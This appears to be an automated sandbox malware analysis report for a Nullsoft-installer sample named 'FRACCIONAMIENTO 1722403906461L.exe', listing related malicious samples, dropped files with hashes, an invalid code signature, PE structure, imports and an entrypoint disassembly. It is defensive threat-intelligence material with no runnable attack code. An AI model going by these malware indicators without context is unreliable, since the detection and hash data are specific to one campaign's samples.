	7jbxkrXyoW.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	ijzvk0j2xz.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	mxLBlEMuqi.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	kaMGdzCmij.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	XYBf31sVB4.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	m3kx62wEFF.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	2omuMF1Rsk.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174
	A4JE7z7NPM.exe	Get hash	malicious	Browse	142.250.186.97 142.250.186.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	SMK_22062022.exe	Get hash	malicious	Browse
	SMK_22062022.exe	Get hash	malicious	Browse
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	pago.exe	Get hash	malicious	Browse
	pago.exe	Get hash	malicious	Browse
	potwierdzi#U0107 zam#U00f3wienie.exe	Get hash	malicious	Browse
	potwierdzi#U0107 zam#U00f3wienie.exe	Get hash	malicious	Browse
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse
	SOAfficePho22041316180.exe	Get hash	malicious	Browse
	BBVA-Confirming Factura.exe	Get hash	malicious	Browse
	SOAfficePho22041316180.exe	Get hash	malicious	Browse
	BHN01.exe	Get hash	malicious	Browse
	BHN01.exe	Get hash	malicious	Browse
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	FRACCIONAMIENTO 1722403906461L.exe	Get hash	malicious	Browse
	PAYMENT - PARADISE FINE FOODS VIETNAM JOINT STOCK COMPANY.exe	Get hash	malicious	Browse
	PAYMENT - PARADISE FINE FOODS VIETNAM JOINT STOCK COMPANY.exe	Get hash	malicious	Browse
	PA#00019042022.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	data
Category:	modified
Size (bytes):	290
Entropy (8bit):	3.3126026948132434
Encrypted:	false
SSDEEP:	6:kKjUpV8B3kN+SkQlPlEGYRMY9z+4KlDA3RUe/:LWVa7kPlE99SNxAhUe/
MD5:	55C95B18829BF15A0E308E7559527261
SHA1:	BB7130E15F1C8A4CE0EDF11C7CFA0F8B15DEE1D7
SHA-256:	B3A2F2FEF7D228CF5D5D77E1454C683B002E4D1BFF5BE9A752227C5BC73DD748
SHA-512:	D2F10081947E75E29C8D1BE5F6CE918744946BE8B9C2A2CCDD4AAA1FD54F196BA78D4BFC17BBE21BE3ACB0E637B5A986178320E532A88BC9C11314CB53F28B50
Malicious:	false
Reputation:	low
Preview:	p...... ..........m..T..(....................................................T.. ........%,.)..................@...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...

C:\Users\user\AppData\Local\Temp\camera-hardware-disabled-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.561875161973391
Encrypted:	false
SSDEEP:	6:6v/lhPysbg1s0zIRU4MNfxwp/Dn4fqUz41p:6v/77gfzIm4aqprnRb
MD5:	6F86F050B74E4FC04A1F375E8E2744A9
SHA1:	3060A2BA1BE38388DC86FB43E3826B1045407551
SHA-256:	2647746C3F2852DF0693865D4EBDC22FD6AAE4E725F8EA13C263766C98AFB787
SHA-512:	10969F0A23D81064E7BBE980AA10D4D42C1713157F9EB725737FAF666326066BC75082F10D5976F803BDED998CFC5BB6EA51D373A5E1A30B3F0CE940BAD235DC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...1..Q...L5Q.....`.. .E.....(44&1.g"...;......d.%.AK...0c.?..].W..H.....;...)...D.gjlqy..8a.L.3...A........u...k.8C..6M.I..J,:....~...0.\...P....IEND.B`.

C:\Users\user\AppData\Local\Temp\emblem-unreadable.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 8 x 8, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	347
Entropy (8bit):	6.38137890298033
Encrypted:	false
SSDEEP:	6:6v/lhPZo+aWdKcfi+2jlAVVziUdCyENoKuAkmHXkg6u2p+bp:6v/7R4aZKjCVdCyENyTg72pA
MD5:	0916297AA635A852B181B815131AFD11
SHA1:	46E2E8BAAB9D8C299833F45924CD5C58869B26E4
SHA-256:	72428164FA2F8DF4FDED0E5213A4043729929CA53AE3F7C0BED73ED1BF835AE1
SHA-512:	902C50D12BBBEE1BF0D4D938D12809BA79277BA891E51D6802590878DAFD49D8F7429671E333335AF8FE0811283CD8DFFE72C27ABCA345B729BE66E3E9C3342F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.....................pHYs..........o.d....tEXtSoftware.www.inkscape.org..<.....tEXtAuthor.Jakub Steiner.../....tEXtDescription.mimetypes7..d...!tEXtSource.http://jimmac.musichall.czif.^...zIDAT..}.-..@....p.=AC.a.XDe.Q.?....c ....F.,..d..dF<.b.4..* ..:h^&.4&N...t.....~h..z3^.....{..v......u..Y...<+\|.$...owq..{\h......IEND.B`.

C:\Users\user\AppData\Local\Temp\mail-signed.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	501
Entropy (8bit):	7.4316463225570235
Encrypted:	false
SSDEEP:	12:6v/7e8otKtOqI81sIANbOA1k9cT+83NBO7GdV095m:oaGc81sd9k9c62NBO76V0/m
MD5:	DAB703E211118D187B2FCB4FB0E43124
SHA1:	5539F00C552DC23AB09EF2797F74412D12F0D8BA
SHA-256:	D4D203344A07ECF9E755E9396C7986A84B7F8684AA94F87C64CFDAD29E3558CE
SHA-512:	41CD1A9DDF90EE76BD66FC96FA188ED56573F433B2743DF84014FE022173703029A294B12749FA21BD7F57695134FD99B92A681DD6A0934AC1AA904BB0C3220B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR................a....IDATx.....$A.D.O.k.t....m.m..v..S]cv^...x.......z.@\..w....?~p.O.a7v....UB...v..yp...CA.1M...?.1...y..CR...v......B......oD;Rv..w......m.....L...u.LJ..v.@Y.C.R.J..&.&.n...<..e...q....>2.4.&.U..J.}Sk.#W^...p..G.....X.f3..g.c..X..6...5...g..!.....\..il.8w....b.]..yL.xU}$....{.Uw._..o-..............p.........=...OQ...(..(.;.k.....J."FL<.......oA.\R....f....\1w...1i.....Jj}....J7.CD=..Z..W.(....w..,.b...vc.....m...v....zt3.W.....IEND.B`.

C:\Users\user\AppData\Local\Temp\media-removable.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.403819222634866
Encrypted:	false
SSDEEP:	12:6v/7maZB4RO4HE+swFImYYh1EBYwBREz/7AdqJuT+wZqlz9W9s24zYCK0Xwr/zN:tak15rEZGj7UqPWqlRWquCKV/J
MD5:	32148C57FEC1C44D630694C2F3EB9C79
SHA1:	7D241B5BFEFF379A96AECC6D20A2B85A40FDB460
SHA-256:	F5948768EE8A33988F530948A10EC8333BB2AE91450C4A0FFDA6C78E9E454AC2
SHA-512:	1F7F216461F1348BE09E0A57EAF75BB595E95105C3729601741E54337629C684FD620292CD6267465C1CF65BBA6E17DC0F6CB81C44182474812496520CDE65E6
Malicious:	false
Preview:	.PNG........IHDR................a....pHYs..........o.d....tEXtSoftware.www.inkscape.org..<.....tEXtTitle.Adwaita Icon Template...?....tEXtAuthor.GNOME Design Team`.v~...RtEXtCopyright.CC Attribution-ShareAlike http://creativecommons.org/licenses/by-sa/4.0/.Tb....&IDAT8...KH.Q.....;.k.i.R..z'.(..".2Z.J!......M...@...(.q.E.....X.J#...6.:...w..p&...~p6..?... .....w....e.g..#._.Z.....@....!..H:...b..c-GS..'#..X(.l...v.c.ci......7O..O......>.J.E...y...f.b.D"B8..:h9.h....kmO..[..U...9W.....b.h..\e446`T.-.\..R47. ......R.}..a~....&....D-LC.........b...:dc...`...}.J...........-.6v.DqR...%c.........w6_/...f1..a.....Z......F..!C8..#.A...r.&...Q.bn....X.y..D.q0>8...g...<$.8#..c#_.!..M..........\|.C4X.....;.q...dW[.r'.`.^...x....3O?.\|...K\..~...L<.'.L".R....3.Ks..L...l......f..{9=..z3........>.......IEND.B`.

C:\Users\user\AppData\Local\Temp\monotocardiac.dat

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	data
Category:	dropped
Size (bytes):	114102
Entropy (8bit):	4.590163620452223
Encrypted:	false
SSDEEP:	768:t/GyI2l2XmzoEf1woV2kTCzhf0RUJswAFtnkFmhvkhmAd6P+sRkv:VhkXyjR2kTeeRUw7hshmAynev
MD5:	FE6B2641187E785DD0264A4D4A783B59
SHA1:	FDFC09D27370575972E25756DE665B82D372BD76
SHA-256:	8D6EF611ED26F02C8A5B80721628AEF8766F501F130AC25ED120E281BB2A0A24
SHA-512:	A1D6F07C4E8F7117EE77945F7AFE1D98A4BB9BED190552E075383BC1F2E6C35385A4D2429D9E45AAF3EE5980B2D0832DB7BCEC973DF829896220845C7C3E22DB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FRACCIONAMIENTO 1722403906461L.exe, Detection: malicious, Browse Filename: SMK_22062022.exe, Detection: malicious, Browse Filename: SMK_22062022.exe, Detection: malicious, Browse Filename: FRACCIONAMIENTO 1722403906461L.exe, Detection: malicious, Browse Filename: FRACCIONAMIENTO 1722403906461L.exe, Detection: malicious, Browse Filename: pago.exe, Detection: malicious, Browse Filename: pago.exe, Detection: malicious, Browse Filename: potwierdzi#U0107 zam#U00f3wienie.exe, Detection: malicious, Browse Filename: potwierdzi#U0107 zam#U00f3wienie.exe, Detection: malicious, Browse Filename: BBVA-Confirming Factura.exe, Detection: malicious, Browse Filename: SOAfficePho22041316180.exe, Detection: malicious, Browse Filename: BBVA-Confirming Factura.exe, Detection: malicious, Browse Filename: SOAfficePho22041316180.exe, Detection: malicious, Browse Filename: BHN01.exe, Detection: malicious, Browse Filename: BHN01.exe, Detection: malicious, Browse Filename: FRACCIONAMIENTO 1722403906461L.exe, Detection: malicious, Browse Filename: FRACCIONAMIENTO 1722403906461L.exe, Detection: malicious, Browse Filename: PAYMENT - PARADISE FINE FOODS VIETNAM JOINT STOCK COMPANY.exe, Detection: malicious, Browse Filename: PAYMENT - PARADISE FINE FOODS VIETNAM JOINT STOCK COMPANY.exe, Detection: malicious, Browse Filename: PA#00019042022.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\preferences-system-network-proxy-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	287
Entropy (8bit):	6.877606568262548
Encrypted:	false
SSDEEP:	6:6v/lhPyso9FwH4OWXHQNBVTEoL2NfawlZywceJCSHGq7UZ56Iqgaeup:6v/7IsHuQlTEWyy5wca/Hz7UZ5jqnec
MD5:	739EF7135750B4A34587B311374CFD3B
SHA1:	2C7BB533D0C3B0FB2E953E21C949A38CCADCB994
SHA-256:	DCF5CCF55CD3A0C22D7E1E15BA74A77E87564C5378213930531957E837BCFFD0
SHA-512:	A123F0270240DAB31EDDE187B52534B032534A993DF5DC3C023F47DF22DD13CDD4875894180D7CA5A7D58A8341BE03B193D645DBE6C5355F0A8C813052D6C746
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...=N.1.../.....4.. w..)....\!G...S.p...:D.. %.6El.Z..2.H.7.yoms.=..d....f.s.4g.%.&.]$.uK+.I6...Z.*....8.yA?.M..9.u..j.Q..4 .L..aY.{.o!...]&..mb..:.bQ...m.gP....N..??..?.pVK....... \|7A.v...7...j..../xm.....U..}......IEND.B`.

C:\Users\user\AppData\Local\Temp\printer-network.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.445534026139213
Encrypted:	false
SSDEEP:	12:6v/7wtZNGfN/qk9eell0BA5Q8nokd/XaaURqN7C8qDUJ01D8/MS+BFdCkAQ:XtvGV/SslL5Q68MN2jDvAKZCNQ
MD5:	B344495C567F359D8A722E788409C26B
SHA1:	B599EB3F171E4EB856BBC28E8BE4F50975ACBC32
SHA-256:	DA4223F95FA7D4A484C1CA675BB8BD4F6DDEEB0F274A4F32616655189033E5C2
SHA-512:	658E0F63022AB10538D7921FC98994200397F73A7FB63100278A955925AB5B9DE6CA2652061FD82704319613596DECC0A76C21DFD3B968947518AAD6465225E1
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<.....tEXtAuthor.Lapo Calamandrei.....'tEXtDescription.Based of Jakub Steiner work.)8_...JIDAT8....OTA.......U..\.0a..m..X.....:..1$."1.D..k...YP`C...@...A.. ....{w,`.P.....\|..w...0.j..J>.Z.S...\|.......lb.tD..lvo......@?..0I..F).R...Q...Y).P.......A)E&..c+_<{y.@<~.4..\|.8mm......E...I..)%Ji66.POS.&.Oa.K.?.\|.$F.>s...P)...+P.....f..:.M..s.lll2>.......6..,//..f..p3.[.X-.v...ccoy36......C.cA.......o....J....c,.:.c.{.'.........n....... .8.%l%..`.u.B.q....R..=='Ck....D..[g).........@..><..~.Wk...4...... M....PJ4.VWW.V..d.Y.(.z..y>KK..b{.....:J.& ...G'...!c.....I../."a..;B......_.V.r9\|?.,(.J.j..F..^.......c.7.u...........R........D20......N.n?..phpp.........j....IEND.B`.

C:\Users\user\AppData\Local\Temp\selection-end-symbolic-rtl.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.583604569229667
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBllBM9JT8J6yjjJmS/PB3eD0bdR1rrF/1p:6v/lhPysz8JYJvf/lc0bTxzp
MD5:	B361CAD290962835529009E96E49CC9F
SHA1:	2E29CB53B9B3BD6A433FB2C50950288E321AE551
SHA-256:	AB86F801B5ED71C581E2A68B6E052953C6B5B95DFBC617A117DEA9B084429618
SHA-512:	3100203CE8A3D2DE5717EDC0D67A1BC47CB2C78CE5EFFEE51327EA0AE71F4945188ABAD9AF49E5D8BD78F3B6B5807692975537B49873F601C9AA9F49DD25887C
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....EIDAT8.c`.../....,..]!...`....TRj0...C....H.!dy......f....D.p.j.!(=....S..........IEND.B`.

C:\Users\user\AppData\Local\Temp\value-increase-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	113
Entropy (8bit):	5.322830648467957
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBllRxdh9TFaxedVjtNOh99bXDgpaGp:6v/lhPysfnTF6QROripxp
MD5:	2D78FF1482A10EA250A500C55EDB7A4D
SHA1:	02DC306A0B14673185941637E78C3E0115F3BADC
SHA-256:	EA88C0E8743471267DB4183A75E6122CE10062EF396ABEAE5C0BC4FD2D65A6F1
SHA-512:	2EB3D54E72CFF8B061676AA791D021464777FEA77E5D6424B8DE9A78C8E32D894ED164C096FC150C7B0E4D46A8B31C75B54A72C2DB02DECAECB8E555D39993A0
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....(IDAT8.c`...?...L..0..0......>.]@...X........S.w....IEND.B`.

C:\Users\user\AppData\Local\Temp\zoom-out-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	SVG Scalable Vector Graphics image
Category:	modified
Size (bytes):	335
Entropy (8bit):	4.737555359684875
Encrypted:	false
SSDEEP:	6:TMVBd/6o8GUYl/n7S3mc4slZRI2rjFvRbWHFHUHFvCpifW1IUHFBLJZtSKlNK+:TMHdPnnl/nu3i2FZ484sIBLjdlj
MD5:	C05C42CB3D95BF3BC7F49CCD8DCCA510
SHA1:	20442E344E95508586B1B2A7B4C6272C3F5C86F8
SHA-256:	695554CE5F23A275D3C25C27410D0CFBF8A83156807DAA3A601635E4E5D8AED0
SHA-512:	0EC19BBA7B5032670524965A8C55D8C6401F833000880DE1C0F74A5EAA4E302B0CE3E60218F3DDB95CB3E1EA7374A197CB71682526DFF910D9A6CF35FF971BB6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg height="16px" viewBox="0 0 16 16" width="16px" xmlns="http://www.w3.org/2000/svg">. <path d="m 4 1 c -1.660156 0 -3 1.339844 -3 3 v 8 c 0 1.660156 1.339844 3 3 3 h 8 c 1.660156 0 3 -1.339844 3 -3 v -8 c 0 -1.660156 -1.339844 -3 -3 -3 z m 0 6 h 8 v 2 h -8 z m 0 0" fill="#2e3436"/>.</svg>.

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Preview:	NordVPN directory not found!..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.124578250940887
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FRACCIONAMIENTO 1722403906461L.exe
File size:	125736
MD5:	04e8c57a5df1834c590c49ccc8734d6e
SHA1:	b53b20975776cc58ed77d8bfff905303aa84391e
SHA256:	345aa66f6945c8fadee442f115591eaa694196c3ec207246814b5c90ab39df0a
SHA512:	fdd62abfed177e5d45be7ba8d185e8c955605e05674a05f899a1a7ee11eb60898dfe0cb6be9392b1b71700ca3e27e51e4c18bf55975a4a8f5acf159185b43d15
SSDEEP:	3072:dfY/TU9fE9PEtu4IEOa8jDbD2yJEmR2qMQh1pzScoTB:BYa6PaaDNms1Z4d
TLSH:	73C3B0187F64C527D85A4270096747E65EF5ED118850A39F2360ABAE3CB3242BB1F3DB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....

File Icon


Icon Hash:	f89c9e8eaeb3f162

Static PE Info

General

Entrypoint:	0x403640
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	61259b55b8912888e90f516ca08dc514

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=PRIMEVOUS@tinkturen.Non, CN=ULIGELNNEN, OU=Peritropal, O=Craggiest7, L=ANFALDENES, S=SULPHONATE, C=MR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	20/04/2022 02:35:53 20/04/2023 02:35:53
Subject Chain	E=PRIMEVOUS@tinkturen.Non, CN=ULIGELNNEN, OU=Peritropal, O=Craggiest7, L=ANFALDENES, S=SULPHONATE, C=MR
Version:	3
Thumbprint MD5:	E4BFB521658CD7B3034F27E18D2A5D0F
Thumbprint SHA-1:	2ECBD5255612406BEE49C9664C97CD33AD373599
Thumbprint SHA-256:	F05E501D2E2A047E9752DDB3D0CE3F55FB13505223FA83A8DB6AFCB3481C07BD
Serial:	00

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A230h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080C8h]
mov esi, dword ptr [004080CCh]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007FE7ECE009FAh
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007FE7ECE009CAh
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A318h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x51000	0x8860	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1d1c0	0x1968	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6676	0x6800	False	0.656813401442	data	6.41745998719	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	False	0.4498046875	data	5.14106681717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	False	0.509765625	data	4.11058212765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x2b000	0x26000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x51000	0x8860	0x8a00	False	0.405712182971	data	5.18891166126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x514c0	0x368	data	English	United States
RT_ICON	0x51828	0x25a8	data	English	United States
RT_ICON	0x53dd0	0x10a8	data	English	United States
RT_ICON	0x54e78	0xea8	data	English	United States
RT_ICON	0x55d20	0x988	data	English	United States
RT_ICON	0x566a8	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x56f50	0x6c8	data	English	United States
RT_ICON	0x57618	0x668	data	English	United States
RT_ICON	0x57c80	0x568	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x581e8	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x58650	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 2289596279, next used block 2022213768	English	United States
RT_ICON	0x58938	0x1e8	data	English	United States
RT_ICON	0x58b20	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x58c48	0xb8	data	English	United States
RT_DIALOG	0x58d00	0x144	data	English	United States
RT_DIALOG	0x58e48	0x13c	data	English	United States
RT_DIALOG	0x58f88	0x100	data	English	United States
RT_DIALOG	0x59088	0x11c	data	English	United States
RT_DIALOG	0x591a8	0x60	data	English	United States
RT_GROUP_ICON	0x59208	0xae	data	English	United States
RT_VERSION	0x592b8	0x268	MS Windows COFF Motorola 68000 object file	English	United States
RT_MANIFEST	0x59520	0x33e	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
